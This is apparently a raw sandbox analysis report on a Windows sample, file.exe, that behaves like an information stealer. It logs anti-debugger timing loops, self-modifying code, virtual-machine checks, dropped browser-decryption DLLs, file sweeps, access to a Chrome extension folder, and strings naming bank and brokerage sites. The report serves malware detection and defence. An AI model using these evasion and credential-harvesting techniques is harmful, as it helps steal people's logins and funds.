Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50EDF8 second address: 50EDFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50EDFE second address: 50EE04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50EE04 second address: 50EE08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50EE08 second address: 50EE29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F8B450h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c je 00007F09F0F8B44Eh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 435B1E second address: 435B38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 jmp 00007F09F0F95A10h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51847D second address: 518498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pushad 0x00000008 jmp 00007F09F0F8B44Dh 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519B23 second address: 519B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 je 00007F09F0F95A0Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519B31 second address: 519B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F09F0F8B448h 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 519B41 second address: 519B57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F95A12h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5199AE second address: 5199CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007F09F0F8B457h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 521A0F second address: 521A29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F09F0F95A16h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 521A29 second address: 521A34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 521A34 second address: 521A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jc 00007F09F0F95A50h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 521A45 second address: 521A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F09F0F8B446h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 521A4F second address: 521A81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F95A0Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F09F0F95A06h 0x00000011 jmp 00007F09F0F95A18h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520221 second address: 520226 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5203F2 second address: 5203F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52058B second address: 5205AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F09F0F8B454h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5205AC second address: 5205B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520878 second address: 52087C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5209E3 second address: 5209E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5209E7 second address: 5209F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5209F0 second address: 5209FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jne 00007F09F0F95A0Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520B2F second address: 520B36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520B36 second address: 520B3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520B3C second address: 520B40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 520B40 second address: 520B44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5216C7 second address: 5216E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F09F0F8B455h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5216E6 second address: 5216EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5216EE second address: 5216F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 524707 second address: 524717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09F0F95A0Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52802E second address: 528042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F09F0F8B448h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 528042 second address: 52804C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F09F0F95A06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52DACC second address: 52DAEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F09F0F8B458h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530690 second address: 530696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 530696 second address: 5306AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F09F0F8B44Eh 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5373CF second address: 5373E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 jmp 00007F09F0F95A0Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5373E1 second address: 5373EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544537 second address: 54453B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54453B second address: 54454C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jbe 00007F09F0F8B446h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54454C second address: 544551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 544551 second address: 544556 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55501E second address: 555022 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555022 second address: 555067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F09F0F8B450h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e jnp 00007F09F0F8B446h 0x00000014 pop ebx 0x00000015 pushad 0x00000016 jmp 00007F09F0F8B457h 0x0000001b push esi 0x0000001c pop esi 0x0000001d jc 00007F09F0F8B446h 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555067 second address: 55506D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5551D0 second address: 5551E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jp 00007F09F0F8B44Ch 0x0000000d jng 00007F09F0F8B446h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5551E3 second address: 5551EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55531B second address: 555321 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555321 second address: 555327 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555327 second address: 55532C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5556F0 second address: 555700 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F09F0F95A06h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555C68 second address: 555C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 555C6C second address: 555C7C instructions: 0x00000000 rdtsc 0x00000002 js 00007F09F0F95A06h 0x00000008 jno 00007F09F0F95A06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55886E second address: 558873 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558873 second address: 558885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F09F0F95A08h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558959 second address: 55897D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F8B44Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F09F0F8B44Ch 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55897D second address: 558984 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55BDDF second address: 55BDE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B992 second address: 55B9AD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F09F0F95A06h 0x00000008 jno 00007F09F0F95A06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jl 00007F09F0F95A08h 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55B9AD second address: 55B9BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F8B44Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55D88C second address: 55D894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC03C6 second address: 4BC03CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BC03CA second address: 4BC03E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F09F0F95A19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47E434 second address: 47E440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 47E440 second address: 47E444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 2C1951 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 470A29 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 49985C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4FEB75 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00074910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00074910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0006DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0006DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0006E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0006E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0006BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0006BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00073EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00073EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0006F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0006F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000616D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_000616D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000738B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_000738B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0006ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0006ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00074570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00074570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0006DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0006DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00061160 GetSystemInfo,ExitProcess,

0_2_00061160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: JKJDAEBF.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: JKJDAEBF.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: JKJDAEBF.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: JKJDAEBF.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: JKJDAEBF.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: JKJDAEBF.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2251150787.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: JKJDAEBF.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: JKJDAEBF.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: JKJDAEBF.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: JKJDAEBF.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: JKJDAEBF.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: JKJDAEBF.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: JKJDAEBF.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: JKJDAEBF.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: JKJDAEBF.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: JKJDAEBF.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: JKJDAEBF.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: JKJDAEBF.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: JKJDAEBF.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: JKJDAEBF.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: JKJDAEBF.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: JKJDAEBF.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: JKJDAEBF.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: JKJDAEBF.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: JKJDAEBF.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: JKJDAEBF.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: JKJDAEBF.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2251150787.0000000000DD4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWE
Source: file.exe, 00000000.00000002.2251150787.0000000000D5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: JKJDAEBF.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: JKJDAEBF.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: JKJDAEBF.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
